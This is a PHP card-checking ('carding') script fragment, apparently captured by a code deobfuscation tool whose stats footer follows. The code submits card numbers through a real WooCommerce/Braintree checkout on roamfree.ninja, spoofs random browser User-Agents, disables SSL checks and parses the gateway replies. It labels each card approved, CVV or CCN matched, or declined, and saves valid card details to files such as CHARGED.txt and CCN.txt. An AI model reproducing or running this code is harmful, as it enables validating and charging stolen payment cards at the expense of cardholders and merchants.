//$headers[] = 'Cookie: _pk_id.1.bdb5=2a15c20ceaebea2b.1698415739.; _pk_ses.1.bdb5=1; logged_in=1; account=MTY5ODQxNTgzNHxEWDhFQVFMX2dBQUJFQUVRQUFEX3B2LUFBQVFHYzNSeWFXNW5EQTBBQzNSdmRIQmZZbUZqYTNWd0JuTjBjbWx1Wnd3Q0FBQUdjM1J5YVc1bkRBd0FDbU56Y21aZmRHOXJaVzRHYzNSeWFXNW5EQklBRUdocmFsWlJaa296UVhvNGVFdHJRWFFHYzNSeWFXNW5EQXdBQ21GalkyOTFiblJmYVdRR2MzUnlhVzVuREJJQUVHa3RSRTVYUXkxUVNsbEtMVFZLVGxnR2MzUnlhVzVuREEwQUMzUnZkSEJmYzJWamNtVjBCbk4wY21sdVp3d0NBQUE9fNKIJ90B85R0JS8XgeAOdV-ri-O5aTq8jxebQMbTd_bH';
//$headers[] = 'Csrf-Token: '.$csrf.'';
$headers[] = 'Origin: https://roamfree.ninja';
$headers[] = 'Referer: https://roamfree.ninja/checkout/';
$headers[] = 'Sec-Fetch-Mode: cors';
$headers[] = 'User-Agent: Mozilla/5.0 (Windows NT '.rand(11,99).'.0; Win64; x64) AppleWebKit/'.rand(111,999).'.'.rand(11,99).' (KHTML, like Gecko) Chrome/'.rand(11,99).'.0.'.rand(1111,9999).'.'.rand(111,999).' Safari/'.rand(111,999).'.'.rand(11,99).'';
$headers[] = 'X-Requested-With: XMLHttpRequest';
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd() . '/cookie.txt');
curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd() . '/cookie.txt');
curl_setopt($ch, CURLOPT_POSTFIELDS, 'billing_country=US&billing_first_name='.$name.'&billing_last_name='.$last.'&billing_company=&vatno=&billing_address_1='.$street.'&billing_address_2=&billing_city='.$city.'&billing_state='.$state.'&billing_postcode='.$zip.'&billing_email='.$email.'&billing_phone=3314782'.rand(111,999).'&gdpr_consent=1&additional_first_name='.$name.'&additional_last_name='.$last.'&property_name=&property_city=&order_comments=&payment_method=braintree_cc&braintree_cc_nonce_key='.$lookup_token.'&braintree_cc_device_data=%7B%22device_session_id%22%3A%22%22%2C%22fraud_merchant_id%22%3Anull%7D&braintree_cc_3ds_nonce_key=&braintree_cc_config_data=&braintree_paypal_nonce_key=&braintree_paypal_device_data=&terms=on&terms-field=1&woocommerce-process-checkout-nonce='.$checkout_nonce.'&_wp_http_referer=%2F%3Fwc-ajax%3Dupdate_order_review&wc_braintree_3ds_enabled=1&wc_braintree_3ds_active=1');



$result3 = curl_exec($ch);
$req = trim(strip_tags(getStr($result3,'"redirect":"','"')));
$msg = trim(strip_tags(getStr($result3,'There was an error processing your payment. Reason: ','\t')));
$decline_code = trim(strip_tags(getStr($result3,'"code":"','"')));
$code = trim(strip_tags(getStr($result3,'{"result":"','"')));

curl_close($ch);
#===============[Card Response]
if (strpos($result3, '"result":"success"')) {
  echo '<span class="badge badge-success">#Approved</span> <span class="badge badge-success"></span> <span class="badge badge-success">' . $lista . '</span> <span class="badge badge-success"></span> <span class="badge badge-success"> CVV CHARGED 99 </span></br>';
          fwrite(fopen("CHARGED.txt", "a+"), "$cc|$mes|$ano|$cvv\n");
    exit();
}
elseif(strpos($result88, 'Unfortunately your order cannot be processed as the originating bank/merchant has declined your transaction.')) {
  echo '<span class="new badge red">#Declined</span> <span class="new badge red">X</span> <span class="new badge red">' . $lista . ' </span> <span class="new badge red"></span>X<span class="badge badge-pink">  [Bank/merchant has declined your transaction.]['.$req_msg.'] </span> </br>';
}
elseif(strpos($result3, 'success' )) {
  echo '<span class="badge badge-success">#Approved</span> <span class="badge badge-success"></span> <span class="badge badge-success">' . $lista . '</span> <span class="badge badge-success"></span> <span class="badge badge-success">  CVV MATCHED  </span></br>';
          fwrite(fopen("success.txt", "a+"), "$cc|$mes|$ano|$cvv\n");
    exit();
}
elseif(strpos($result3, 'ending in' )) {
  echo '<span class="badge badge-success">#Approved</span> <span class="badge badge-success"></span> <span class="badge badge-success">' . $lista . '</span> <span class="badge badge-success"></span> <span class="badge badge-success">  CVV MATCHED  </span></br>';
}
elseif(strpos($result3, 'Thank' )) {
  echo '<span class="badge badge-success">#Approved</span> <span class="badge badge-success"></span> <span class="badge badge-success">' . $lista . '</span> <span class="badge badge-success"></span> <span class="badge badge-success">  CVV MATCHED  </span></br>';
          fwrite(fopen("CHARGED.txt", "a+"), "$cc|$mes|$ano|$cvv\n");
    exit();
}
elseif(strpos($result3, 'Invoice #' )) {
  echo '<span class="badge badge-success">#Approved</span> <span class="badge badge-success"></span> <span class="badge badge-success">' . $lista . '</span> <span class="badge badge-success"></span> <span class="badge badge-success">  CVV MATCHED  </span></br>';
}
elseif(strpos($result3, 'Fraud Suspected' )) {
  echo '<span class="badge badge-success">#Approved</span> <span class="badge badge-success"></span> <span class="badge badge-success">' . $lista . '</span> <span class="badge badge-success"></span> <span class="badge badge-success">  CVV MATCHED Fraud Suspected  </span></br>';
          fwrite(fopen("fraud.txt", "a+"), "$cc|$mes|$ano|$cvv\n");
    exit();
}
elseif(strpos($result3, 'succeeded' )) {
  echo '<span class="badge badge-success">#Approved</span> <span class="badge badge-success"></span> <span class="badge badge-success">' . $lista . '</span> <span class="badge badge-success"></span> <span class="badge badge-success">  CVV MATCHED  </span></br>';
}
elseif(strpos($result3, 'Payment Successful' )) {
  echo '<span class="badge badge-success">#Approved</span> <span class="badge badge-success"></span> <span class="badge badge-success">' . $lista . '</span> <span class="badge badge-success"></span> <span class="badge badge-success">  CVV MATCHED  </span></br>';
}
elseif(strpos($result3, 'success</i>' )) {
  echo '<span class="badge badge-success">#Approved</span> <span class="badge badge-success"></span> <span class="badge badge-success">' . $lista . '</span> <span class="badge badge-success"></span> <span class="badge badge-success">  CVV MATCHED  </span></br>';
}
elseif(strpos($result3, 'Your card was approved.' )) {
  echo '<span class="badge badge-success">#Approved</span> <span class="badge badge-success"></span> <span class="badge badge-success">' . $lista . '</span> <span class="badge badge-success"></span> <span class="badge badge-success">  CVV MATCHED  </span></br>';
}
elseif(strpos($result3, '"succeeded"' )) {
  echo '<span class="badge badge-success">#Approved</span> <span class="badge badge-success"></span> <span class="badge badge-success">' . $lista . '</span> <span class="badge badge-success"></span> <span class="badge badge-success">  CVV MATCHED  </span></br>';
}
elseif(strpos($result3, '"pass"' )) {
  echo '<span class="badge badge-success">#Approved</span> <span class="badge badge-success"></span> <span class="badge badge-success">' . $lista . '</span> <span class="badge badge-success"></span> <span class="badge badge-success">  CVV MATCHED  </span></br>';
}
elseif(strpos($result3, 'approved_by_network' )) {
  echo '<span class="badge badge-success">#Approved</span> <span class="badge badge-success"></span> <span class="badge badge-success">' . $lista . '</span> <span class="badge badge-success"></span> <span class="badge badge-success">  CVV MATCHED  </span></br>';
          fwrite(fopen("CHARGED.txt", "a+"), "$cc|$mes|$ano|$cvv\n");
    exit();
}
elseif(strpos($result3, 'https://pay.stripe.com/receipts/' )) {
  echo '<span class="badge badge-success">#Approved</span> <span class="badge badge-success"></span> <span class="badge badge-success">' . $lista . '</span> <span class="badge badge-success"></span> <span class="badge badge-success">  CVV MATCHED  </span></br>';
}
elseif(strpos($result3, "we do not accept prepaid cards at this time." )) {
  echo '<span class="badge badge-success">#Approved</span> <span class="badge badge-success"></span> <span class="badge badge-success">' . $lista . '</span> <span class="badge badge-success"></span> <span class="badge badge-success">  CVC MATCHED  </span></br>';
}
elseif(strpos($result3, 'ocat2ion')) {

  echo '<span class="badge badge-success">#Approved</span> <span class="badge badge-success"></span> <span class="badge badge-success">' . $lista . ' </span> <span class="badge badge-pink"></span> <span class="badge badge-pink">  CCN MATCHED [Location]  </span></br>'; 

}
elseif(strpos($result3, 'security code')) {

  echo '<span class="badge badge-success">#Declined</span> <span class="badge badge-success"></span> <span class="badge badge-success">' . $lista . ' </span> <span class="badge badge-pink"></span> <span class="badge badge-pink">  CCN MATCHED []  </span></br>'; 
          fwrite(fopen("CCN.txt", "a+"), "$cc|$mes|$ano|$cvv\n");
    exit();

}
elseif(strpos($result3, "Card Issuer Declined CVV")) {
  echo '<span class="badge badge-success">#Declined</span> <span class="badge badge-success"></span> <span class="badge badge-success">' . $lista . ' </span> <span class="badge badge-pink"></span> <span class="badge badge-pink">  CCN MATCHED [Card Issuer Declined CVV]  </span></br>'; 
        fwrite(fopen("CCN.txt", "a+"), "$cc|$mes|$ano|$cvv\n");
    exit();
}
elseif(strpos($result3, "Gateway Rejected: cvv")) {
  echo '<span class="badge badge-success">#Approved</span> <span class="badge badge-success"></span> <span class="badge badge-success">' . $lista . ' </span> <span class="badge badge-pink"></span> <span class="badge badge-pink">  CCN MATCHED [Gateway Rejected: cvv]  </span></br>'; 
        fwrite(fopen("CCN.txt", "a+"), "$cc|$mes|$ano|$cvv\n");
    exit();
}
elseif(strpos($result3, 'Gateway Rejected: avs_and_cvv')) {
  echo '<span class="badge badge-success">#Approved</span> <span class="badge badge-success"></span> <span class="badge badge-success">' . $lista . ' </span> <span class="badge badge-pink"></span> <span class="badge badge-pink">  CCN MATCHED [Gateway Rejected: avs_and_cvv]  </span></br>'; 
        fwrite(fopen("CCN.txt", "a+"), "$cc|$mes|$ano|$cvv\n");
    exit();
}
elseif(strpos($result3, 'Gateway Rejected: avs' )) {
  echo '<span class="badge badge-success">#Approved</span> <span class="badge badge-success"></span> <span class="badge badge-success">' . $lista . '</span> <span class="badge badge-success"></span> <span class="badge badge-success">  [Gateway Rejected: avs] </span></br>';
                fwrite(fopen("AVS.txt", "a+"), "$cc|$mes|$ano|$cvv\n");
    exit();
}
elseif(strpos($result3, 'zip' )) {
  echo '<span class="badge badge-success">#Approved</span> <span class="badge badge-success"></span> <span class="badge badge-success">' . $lista . '</span> <span class="badge badge-success"></span> <span class="badge badge-success">  CVV:M AVS: FAILED </span></br>';
                fwrite(fopen("AVS.txt", "a+"), "$cc|$mes|$ano|$cvv\n");
    exit();
}
elseif(strpos($result3, 'incorrect_zip' )) {
  echo '<span class="badge badge-success">#Approved</span> <span class="badge badge-success"></span> <span class="badge badge-success">' . $lista . '</span> <span class="badge badge-success"></span> <span class="badge badge-success">  CVV:M AVS: FAILED </span></br>';
              fwrite(fopen("AVS.txt", "a+"), "$cc|$mes|$ano|$cvv\n");
    exit();
}
elseif(strpos($result3, 'Insufficient Funds')) {
  echo '<span class="badge badge-success">#Declined</span> <span class="badge badge-success"></span> <span class="badge badge-success">' . $lista . '</span> <span class="badge badge-pink"></span> <span class="badge badge-pink">  Insufficient Funds  </span></br>';
            fwrite(fopen("insufficient funds.txt", "a+"), "$cc|$mes|$ano|$cvv\n");
    exit();
}
elseif(strpos($result3, 'Limit Exceeded')) {
  echo '<span class="badge badge-success">#Declined</span> <span class="badge badge-success"></span> <span class="badge badge-success">' . $lista . '</span> <span class="badge badge-pink"></span> <span class="badge badge-pink">  Limit Exceeded </span></br>';
            fwrite(fopen("Limit Exceeded.txt", "a+"), "$cc|$mes|$ano|$cvv\n");
    exit();
}
elseif(strpos($result3, 'The card was declined.')) {
  echo '<span class="new badge red">#Declined</span> <span class="new badge red">X</span> <span class="new badge red">' . $lista . ' </span> <span class="new badge red"></span>X<span class="badge badge-pink">  [The card was declined.]['.$decline_code.'] </span> </br>';
}
elseif(strpos($result2, 'generic_decline')) {
  echo '<span class="new badge red">#Declined</span> <span class="new badge red">X</span> <span class="new badge red">' . $lista . ' </span> <span class="new badge red"></span>X<span class="badge badge-pink">  [Generic_Decline] </span> </br>';
}
elseif(strpos($result3, 'We were unable to process your order, please try again.')) {
  echo '<span class="new badge red">#Declined</span> <span class="new badge red">X</span> <span class="new badge red">' . $lista . ' </span> <span class="new badge red"></span>X<span class="badge badge-pink">  [We were unable to process your order, please try again.] </span> </br>';
}
elseif(strpos($result3, 'session has expired.')) {
  echo '<span class="new badge red">#Declined</span> <span class="new badge red">X</span> <span class="new badge red">' . $lista . ' </span> <span class="new badge red"></span>X<span class="badge badge-pink">  [Session Has Expired.] </span> </br>';
}
elseif(strpos($result3, 'message')) {
  echo '<span class="new badge red">#Declined</span> <span class="new badge red">X</span> <span class="new badge red">' . $lista . ' </span> <span class="new badge red"></span>X<span class="badge badge-pink">  '.$msg.'['.$code.'] </span> </br>';
}
elseif(strpos($result3, 'true' )) {
  echo '<span class="badge badge-success">#Approved</span> <span class="badge badge-success"></span> <span class="badge badge-success">' . $lista . '</span> <span class="badge badge-success"></span> <span class="badge badge-success">  CVV MATCHED [TRUE] </span></br>';
}
else {
  echo '<span class="new badge red">#Declined</span> <span class="new badge red"></span> <span class="new badge red">' . $lista . ' </span> <span class="new badge red"></span> <span class="badge badge-pink">  '.$msg.' '.$req.'['.$code.'] </span> </br>';
}

curl_close($ch);
ob_flush();

Function Calls

None

Variables

None

Stats

MD5 62d34e8a0b316f462bfb8745b50a857a
Eval Count 0
Decode Time 75 ms